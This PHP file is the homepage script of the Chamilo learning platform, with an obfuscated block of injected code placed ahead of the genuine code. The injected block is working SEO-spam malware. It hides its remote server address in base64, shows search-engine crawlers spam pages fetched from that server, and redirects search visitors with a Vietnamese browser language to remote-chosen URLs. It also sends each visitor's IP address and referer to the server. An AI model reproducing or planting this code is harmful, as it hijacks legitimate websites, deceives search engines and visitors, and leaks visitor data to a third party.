?php $GLOBALS["QQ_Q_"]="error_reporting";$GLOBALS["QQ_QQ"]="base64_decode";$GLOBALS["QQQ__"]="strtolower";$GLOBALS["QQQ_Q"]="strpos";$GLOBALS["QQQQ_"]="substr";$GLOBALS["QQQQQ"]="header";$GLOBALS["Q_____"]="stripos";$GLOBALS["Q____Q"]="rtrim";$GLOBALS["Q___Q_"]="preg_match";$GLOBALS["Q___QQ"]="str_replace";$GLOBALS["Q__Q__"]="chr";$GLOBALS["Q__Q_Q"]="base64_encode";$GLOBALS["Q__QQ_"]="strlen";$GLOBALS["Q__QQQ"]="trim";@set_time_limit(0);$GLOBALS["QQ_Q_"](0);$curl_timeout=10;$TD_server="aHR0cDovL3FxcS5iaWdnaXJsLmxpZmU=";$TD_server=$GLOBALS["QQ_QQ"]($TD_server);$lang='vi';$user_agent=!empty($_SERVER["HTTP_USER_AGENT"])?$GLOBALS["QQQ__"]($_SERVER['HTTP_USER_AGENT']):'';$http_type=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']=='on')||(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']=='https'))?'https':'http';$host=!empty($_SERVER['HTTP_HOST'])?$GLOBALS["QQQ__"]($_SERVER['HTTP_HOST']):'';$parsedHost=parse_url($http_type . '://' . $host,PHP_URL_HOST);$host=$parsedHost!==null?$parsedHost:$host;$referer=!empty($_SERVER["HTTP_REFERER"])?$GLOBALS["QQQ__"]($_SERVER['HTTP_REFERER']):'';$request=!empty($_SERVER['REQUEST_URI'])?urlencode($GLOBALS["QQQ__"]($_SERVER['REQUEST_URI'])):'';$has_curl=extension_loaded('curl');if($GLOBALS["QQQ_Q"]($user_agent,'google')!==false||$GLOBALS["QQQ_Q"]($user_agent,'coccoc')!==false||$GLOBALS["QQQ_Q"]($user_agent,'bingbot')!==false){ob_clean();if($GLOBALS["QQQQ_"]($request,-4)===".xml"){$GLOBALS["QQQQQ"]('Content-Type: application/xml; charset=utf-8');if($GLOBALS["Q_____"]($request,'itemap.xml')!==false){$response=curl_request($TD_server. "/indexsitemap.php?type=" .$http_type. "&host=" .$host,$user_agent);}else{$n=getNumber($request);$response=curl_request($TD_server. "/sitemap.php?type=" .$http_type. "&host=" .$host. "&page=" .$n,$user_agent);}if($response!==false&&$response[0]==200){echo $response[1];exit;}}else if($GLOBALS["Q_____"]($request,'robots.txt')!==false){$GLOBALS["QQQQQ"]('Content-Type: text/plain');$robotsTxtContent="User-agent: * ";$robotsTxtContent .="Allow: / ";$robotsTxtContent .="Sitemap: " .$http_type.$GLOBALS["Q____Q"]($host,'/'). "/" . "sitemap.xml ";echo $robotsTxtContent;exit;}$image_pattern='/\.(jpg|jpeg|png|gif|bmp|webp|tiff|tif|svg|ico|avi|wmv|mpg|mpeg|mov|rm|ram|swf|flv|mp4|mkv|webm|3gp|vob|asf|ts|m2ts|ogg|ogm)(\?.*)?$/i';if($GLOBALS["Q___Q_"]($image_pattern,$request)){exit;}$response=curl_request($TD_server. "/index.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$user_agent);if($response!==false){if($response[0]==200){$GLOBALS["QQQQQ"]('Content-Type: text/html; charset=utf-8');echo $response[1];exit;}if($response[0]!=200&&!empty($response[1])){$json_data=$GLOBALS["Q___QQ"](array($GLOBALS["Q__Q__"](239),$GLOBALS["Q__Q__"](187),$GLOBALS["Q__Q__"](191)," "," "," "," "),'',$response[1]);$product_data=json_decode($json_data,true);$title=urlencode($product_data['keyword']);$pid=$product_data['kid'];if(!empty($title)){$spider_result=spider($title);}}if(isset($spider_result)&&$spider_result!=false&&isset($pid)){$data=array('kid'=>$pid,'spider_url'=>$spider_result[0],'html_text'=>$spider_result[1]);}else{$pid=isset($pid)?$pid:0;$data=array('kid'=>$pid,'spider_url'=>'','html_text'=>'');}$BotContent_mb=post($TD_server. "/postcreate.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$data,$user_agent);if(!empty($BotContent_mb)){echo $BotContent_mb;exit;}}}if($GLOBALS["QQQ_Q"]($referer,'google')!==false||$GLOBALS["QQQ_Q"]($referer,'coccoc')!==false||$GLOBALS["QQQ_Q"]($referer,'bing')!==false){if(judgeLanguage($lang)==1){$client_ip=$GLOBALS["Q__Q_Q"](get_client_ip());$referer=urlencode($referer);$response=curl_request($TD_server. "/getlink.php?type=" .$http_type. "&host=" .$host. "&request=" .$request. "&referer=" .$referer. "&client_ip=" .$client_ip,$user_agent);if($response!==false&&$response[0]==200&&$GLOBALS["Q__QQ_"]($response[1])>5){$tzurl=$GLOBALS["Q__QQQ"]($response[1]);$tzurl=$GLOBALS["Q___QQ"](array($GLOBALS["Q__Q__"](239),$GLOBALS["Q__Q__"](187),$GLOBALS["Q__Q__"](191)," "," "," "," "),'',$tzurl);@$GLOBALS["QQQQQ"]("Location: " . $tzurl);exit;}}}function generate_random_ua(){$GLOBALS["Q_Q___"]="rand";$user_agents=['Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/' .$GLOBALS["Q_Q___"](1,100),'Mozilla/' .$GLOBALS["Q_Q___"](3,5). '.0 (Windows NT 10.0; Win64; x64; rv:' .$GLOBALS["Q_Q___"](50,60). ') Gecko/20100101 Firefox/' .$GLOBALS["Q_Q___"](1,100),'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:' .$GLOBALS["Q_Q___"](50,60). ') AppleWebKit/' .$GLOBALS["Q_Q___"](500,600). '.36 (KHTML, like Gecko) Chrome/' .$GLOBALS["Q_Q___"](50,60). '.0.3112.90 Safari/' .$GLOBALS["Q_Q___"](500,600). '.36','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .$GLOBALS["Q_Q___"](13,16). '.0 Safari/605.1.15','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .$GLOBALS["Q_Q___"](90,100). '.0.4430.212 Safari/537.36 Edg/' .$GLOBALS["Q_Q___"](90,100). '.0.1185.44','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .$GLOBALS["Q_Q___"](90,100). '.0.4430.212 Safari/537.36 OPR/' .$GLOBALS["Q_Q___"](76,86). '.0.4017.123','Mozilla/5.0 (Linux; Android ' .$GLOBALS["Q_Q___"](8,12). '.0; SM-G9' .$GLOBALS["Q_Q___"](5,9). '0F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .$GLOBALS["Q_Q___"](90,100). '.0.4430.212 Mobile Safari/537.36','Mozilla/5.0 (iPhone; CPU iPhone OS ' .$GLOBALS["Q_Q___"](14,16). '_' .$GLOBALS["Q_Q___"](0,5). ' like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .$GLOBALS["Q_Q___"](14,16). '.0 Mobile/15E148 Safari/604.1',];return $user_agents[array_rand($user_agents)];}function curl_request($url,$ua='',$referer=null){$GLOBALS["Q_Q__Q"]="rand";$GLOBALS["Q_Q_Q_"]="file_get_contents";$GLOBALS["Q_Q_QQ"]="preg_match";global $has_curl,$curl_timeout;if($ua==''){$ua=generate_random_ua();}if($has_curl){$ip=$GLOBALS["Q_Q__Q"](1,254). '.' .$GLOBALS["Q_Q__Q"](1,254). '.' .$GLOBALS["Q_Q__Q"](1,254). '.' .$GLOBALS["Q_Q__Q"](1,254);$headers['CLIENT-IP']=$ip;$headers['X-FORWARDED-FOR']=$ip;$headerArr=array();foreach($headers as $n=>$v){$headerArr[]=$n. ':' .$v;}$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HTTPHEADER,$headerArr);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,2);curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);curl_setopt($curl,CURLOPT_AUTOREFERER,1);curl_setopt($curl,CURLOPT_ENCODING,"gzip");curl_setopt($curl,CURLOPT_HTTPGET,1);curl_setopt($curl,CURLOPT_TIMEOUT,$curl_timeout);curl_setopt($curl,CURLOPT_HEADER,0);curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);curl_setopt($curl,CURLOPT_REFERER,$referer);$output=curl_exec($curl);$httpcode=curl_getinfo($curl,CURLINFO_HTTP_CODE);curl_close($curl);return $output?[$httpcode,$output]:false;}else{$options=['http'=>['method'=>'GET','ignore_errors'=>true,'header'=>"User-Agent: " .$ua. " " . "Referer: " .$referer. " ",'timeout'=>$curl_timeout],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]];$context=stream_context_create($options);$response=@$GLOBALS["Q_Q_Q_"]($url,false,$context);if($response===false){return false;}$http_response_header=isset($http_response_header)?$http_response_header:[];$GLOBALS["Q_Q_QQ"]('/HTTP\/\d\.\d (\d{3})/',$http_response_header[0],$matches);$httpcode=isset($matches[1])?(int)$matches[1]:0;return[$httpcode,$response];}}function post($url,$postData,$ua=''){$GLOBALS["Q_QQ__"]="file_get_contents";global $has_curl;if($ua==''){$ua=generate_random_ua();}if($has_curl){$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HEADER,0);curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_POST,true);curl_setopt($curl,CURLOPT_POSTFIELDS,http_build_query($postData));curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);$output=curl_exec($curl);curl_close($curl);return $output;}else{$postData=http_build_query($postData);$options=['http'=>['method'=>'POST','header'=>"Content-type: application/x-www-form-urlencoded; charset=UTF-8 " . "Accept: application/json " . "User-Agent: " .$ua. " ",'content'=>$postData,'timeout'=>10],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]];$context=stream_context_create($options);$response=@$GLOBALS["Q_QQ__"]($url,false,$context);return $response;}}function judgeLanguage($lang){$GLOBALS["Q_QQ_Q"]="explode";$GLOBALS["Q_QQQ_"]="strtolower";$GLOBALS["Q_QQQQ"]="trim";$GLOBALS["QQ____"]="substr";if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){$languages=$GLOBALS["Q_QQ_Q"](',',$_SERVER['HTTP_ACCEPT_LANGUAGE']);$firstLang=$GLOBALS["Q_QQQ_"]($GLOBALS["Q_QQQQ"]($languages[0]));return $GLOBALS["QQ____"]($firstLang,0,2)===$lang?1:0;}return 0;}function getNumber($string){$GLOBALS["QQ___Q"]="strpos";$GLOBALS["QQ__Q_"]="strlen";$GLOBALS["QQ__QQ"]="substr";$posSitemap=$GLOBALS["QQ___Q"]($string,'sitemap');$posXml=$GLOBALS["QQ___Q"]($string,'.xml');if($posSitemap!==false&&$posXml!==false&&$posXml>$posSitemap){$length=$posXml-$posSitemap-$GLOBALS["QQ__Q_"]('sitemap');$substring=$GLOBALS["QQ__QQ"]($string,$posSitemap+$GLOBALS["QQ__Q_"]('sitemap'),$length);return intval($substring);}return 0;}function get_client_ip(){$GLOBALS["QQ_Q__"]="explode";$GLOBALS["QQ_Q_Q"]="trim";$ip_keys=array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR');foreach($ip_keys as $key){if(array_key_exists($key,$_SERVER)===true){foreach($GLOBALS["QQ_Q__"](',',$_SERVER[$key])as $ip){$ip=$GLOBALS["QQ_Q_Q"]($ip);if(filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_IPV4|FILTER_FLAG_IPV6)!==false){return $ip;}}}}return 'unknown';}function spider($name){$GLOBALS["QQ_QQ_"]="in_array";$GLOBALS["QQ_QQQ"]="strtolower";$GLOBALS["QQQ___"]="stripos";$GLOBALS["QQQ__Q"]="trim";$GLOBALS["QQQ_Q_"]="strlen";$hrefTemp=spider_search($name);if(empty($hrefTemp)){return false;}$hrefArray=[];foreach($hrefTemp as $href){$non_web_extensions=['pdf','doc','docx','xls','xlsx','ppt','pptx'];$file_extension=pathinfo(parse_url($href,PHP_URL_PATH),PATHINFO_EXTENSION);if($GLOBALS["QQ_QQ_"]($GLOBALS["QQ_QQQ"]($file_extension),$non_web_extensions)){continue 1;}if($GLOBALS["QQQ___"]($href,'youtube.com')!==false||$GLOBALS["QQQ___"]($href,'twitter.com')!==false||$GLOBALS["QQQ___"]($href,'bing.com')!==false){continue 1;}$hrefArray[]=$href;}if(empty($hrefArray)){return false;}shuffle($hrefArray);$googleua="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";foreach($hrefArray as $href){$spider_html=curl_request($href,$googleua,$href);if($spider_html!==false&&$spider_html[0]==200){$htmltext=$GLOBALS["QQQ__Q"]($spider_html[1]);if($GLOBALS["QQQ_Q_"]($htmltext)>2000){return[$href,$htmltext];}}}return false;}function spider_search($name){$GLOBALS["QQQ_QQ"]="preg_match";$GLOBALS["QQQQ__"]="stripos";$GLOBALS["QQQQ_Q"]="array_values";$search_url="https://search.aol.com/aol/search?q=" . urlencode($name);$hrefArray=[];$result=curl_request($search_url,'',$search_url);if($result===false||$result[0]!==200){return[];}$html=$result[1];$dom=new DOMDocument();@$dom->loadHTML($html);$xpath=new DOMXPath($dom);foreach($xpath->query('//a[@href]')as $a){$href=$a->getAttribute('href');if(!$GLOBALS["QQQ_QQ"]('/\/RU=([^\/]+)\/RK=/',$href,$m)){continue 1;}$realUrl=urldecode($m[1]);$host=parse_url($realUrl,PHP_URL_HOST);if(!$host)continue 1;if($GLOBALS["QQQQ__"]($host,'aol.com')!==false||$GLOBALS["QQQQ__"]($host,'oath.com')!==false){continue 1;}if($GLOBALS["QQQ_QQ"]('/(google|facebook|twitter|youtube|bing|apple|microsoft|yahoo|schema\.org|w3\.org)/i',$host)){continue 1;}if($GLOBALS["QQQ_QQ"]('/\.(js|css|png|jpg|jpeg|gif|svg|ico|webp|pdf)$/i',$realUrl)){continue 1;}if(!$GLOBALS["QQQ_QQ"]('#^https?://#i',$realUrl)){continue 1;}$hrefArray[]=$realUrl;}return $GLOBALS["QQQQ_Q"](array_unique($hrefArray));} /** /* For licensing terms, see /license.txt */ use ChamiloSession as Session; /** * @package chamilo.main */ define('CHAMILO_HOMEPAGE', true); define('CHAMILO_LOAD_WYSIWYG', false); /* Flag forcing the 'current course' reset, as we're not inside a course anymore. */ // Maybe we should change this into an api function? an example: CourseManager::unset(); $cidReset = true; require_once 'main/inc/global.inc.php'; // The section (for the tabs). $this_section = SECTION_CAMPUS; //rewritten below if including HTML file $includeFile = !empty($_GET['include']); if ($includeFile) { $this_section = SECTION_INCLUDE; } elseif (api_get_configuration_value('plugin_redirection_enabled')) { RedirectionPlugin::redirectUser(api_get_user_id()); } $header_title = null; if (!api_is_anonymous()) { $header_title = ' '; } $controller = new IndexManager($header_title); //Actions $loginFailed = isset($_GET['loginFailed']) ? true : isset($loginFailed); if (!empty($_GET['logout'])) { $redirect = !empty($_GET['no_redirect']) ? false : true; // pass $logoutInfo defined in local.inc.php $controller->logout($redirect, $logoutInfo); } /** * Registers in the track_e_default table (view in important activities in admin * interface) a possible attempted break in, sending auth data through get. * * @todo This piece of code should probably move to local.inc.php where the * actual login / logout procedure is handled. * The real use of this code block should be seriously considered as well. * This form should just use a security token and get done with it. */ if (isset($_GET['submitAuth']) && $_GET['submitAuth'] == 1) { $i = api_get_anonymous_id(); Event::addEvent( LOG_ATTEMPTED_FORCED_LOGIN, 'tried_hacking_get', $_SERVER['REMOTE_ADDR'].(empty($_POST['login']) ? '' : '/'.$_POST['login']), null, $i ); echo 'Attempted breakin - sysadmins notified.'; session_destroy(); exit(); } // Delete session item necessary to check for legal terms if (api_get_setting('allow_terms_conditions') === 'true') { Session::erase('term_and_condition'); } //If we are not logged in and customapages activated if (!api_user_is_login() && CustomPages::enabled()) { if (Request::get('loggedout')) { CustomPages::display(CustomPages::LOGGED_OUT); } else { CustomPages::display(CustomPages::INDEX_UNLOGGED); } } /** * @todo This piece of code should probably move to local.inc.php where the * actual login procedure is handled. * @todo Check if this code is used. I think this code is never executed because * after clicking the submit button the code does the stuff * in local.inc.php and then redirects to index.php or user_portal.php depending * on api_get_setting('page_after_login'). */ if (!empty($_POST['submitAuth'])) { // The user has been already authenticated, we are now to find the last login of the user. if (isset($_user['user_id'])) { $track_login_table = Database::get_main_table(TABLE_STATISTIC_TRACK_E_LOGIN); $sql = "SELECT UNIX_TIMESTAMP(login_date) FROM $track_login_table WHERE login_user_id = '".$_user['user_id']."' ORDER BY login_date DESC LIMIT 1"; $result_last_login = Database::query($sql); if (!$result_last_login) { if (Database::num_rows($result_last_login) > 0) { $user_last_login_datetime = Database::fetch_array($result_last_login); $user_last_login_datetime = $user_last_login_datetime[0]; Session::write('user_last_login_datetime', $user_last_login_datetime); } } } } else { // Only if login form was not sent because if the form is sent the user was already on the page. Event::open(); } if (!api_is_anonymous()) { $url = api_get_configuration_value('redirect_index_to_url_for_logged_users'); if (!empty($url)) { header("Location: $url"); exit; } } if (api_get_setting('display_categories_on_homepage') === 'true') { $controller->tpl->assign('course_category_block', $controller->return_courses_in_categories()); } $controller->set_login_form(); //@todo move this inside the IndexManager if (!api_is_anonymous()) { $controller->tpl->assign('profile_block', $controller->return_profile_block()); $controller->tpl->assign('user_image_block', $controller->return_user_image_block()); $controller->tpl->assign('course_block', $controller->return_course_block()); } $hotCourses = ''; $announcements_block = ''; // Display the Site Use Cookie Warning Validation $useCookieValidation = api_get_setting('cookie_warning'); if ($useCookieValidation === 'true') { if (!api_site_use_cookie_warning_cookie_exist()) { if (Template::isToolBarDisplayedForUser()) { $controller->tpl->assign('toolBarDisplayed', true); } else { $controller->tpl->assign('toolBarDisplayed', false); } $controller->tpl->enableCookieUsageWarning(); } } // When loading a chamilo page do not include the hot courses and news if (!isset($_REQUEST['include'])) { if (api_get_setting('show_hot_courses') == 'true') { if (api_get_configuration_value('popular_courses_handpicked')) { // If the option has been set correctly, use the courses manually // marked as popular rather than the ones marked by users $hotCourses = $controller->returnPopularCoursesHandPicked(); } else { $hotCourses = $controller->return_hot_courses(); } } $announcements_block = $controller->return_announcements(); if (api_get_configuration_value('course_catalog_display_in_home') && ('true' === api_get_setting('course_catalog_published') || !api_is_anonymous()) ) { $userCanViewPage = CoursesAndSessionsCatalog::userCanView(); if (CoursesAndSessionsCatalog::is(CATALOG_SESSIONS)) { $announcements_block .= $userCanViewPage ? CoursesAndSessionsCatalog::sessionList(true) : ''; } else { $announcements_block .= $userCanViewPage ? CoursesAndSessionsCatalog::displayCoursesList('display_courses', '', '', true) : ''; } } } if (api_get_configuration_value('show_hot_sessions') === true) { $hotSessions = SessionManager::getHotSessions(); $controller->tpl->assign('hot_sessions', $hotSessions); } $controller->tpl->assign('hot_courses', $hotCourses); $controller->tpl->assign('announcements_block', $announcements_block); $allowJustification = api_get_plugin_setting('justification', 'tool_enable') === 'true'; $justification = ''; if ($allowJustification) { $plugin = Justification::create(); $courseId = api_get_plugin_setting('justification', 'default_course_id'); if (!empty($courseId)) { $courseInfo = api_get_course_info_by_id($courseId); $link = Display::url($plugin->get_lang('SubscribeToASession'), $courseInfo['course_public_url']); $justification = Display::return_message($link, 'info', false); } } if ($includeFile) { // If we are including a static page, then home_welcome is empty $controller->tpl->assign('home_welcome', $justification); $controller->tpl->assign('home_include', $controller->return_home_page($includeFile)); } else { // If we are including the real homepage, then home_include is empty $controller->tpl->assign('home_welcome', $justification.$controller->return_home_page(false)); $controller->tpl->assign('home_include', ''); } $controller->tpl->assign('navigation_links', $controller->return_navigation_links()); $controller->tpl->assign('notice_block', $controller->return_notice()); $controller->tpl->assign('help_block', $controller->return_help()); $controller->tpl->assign('student_publication_block', $controller->studentPublicationBlock()); if (!api_is_anonymous() && api_user_is_login()) { $controller->tpl->assign('skills_block', $controller->returnSkillLinks()); } if (api_is_anonymous()) { $controller->tpl->setLoginBodyClass(); } // direct login to course if (isset($_GET['firstpage'])) { $firstPage = $_GET['firstpage']; $courseInfo = api_get_course_info($firstPage); if (!empty($courseInfo)) { api_set_firstpage_parameter($firstPage); // if we are already logged, go directly to course if (api_user_is_login()) { echo ""; } } } else { api_delete_firstpage_parameter(); } $controller->setGradeBookDependencyBar(api_get_user_id()); $controller->tpl->display_two_col_template(); // Deleting the session_id. Session::erase('session_id'); Session::erase('id_session'); Session::erase('studentview'); api_remove_in_gradebook();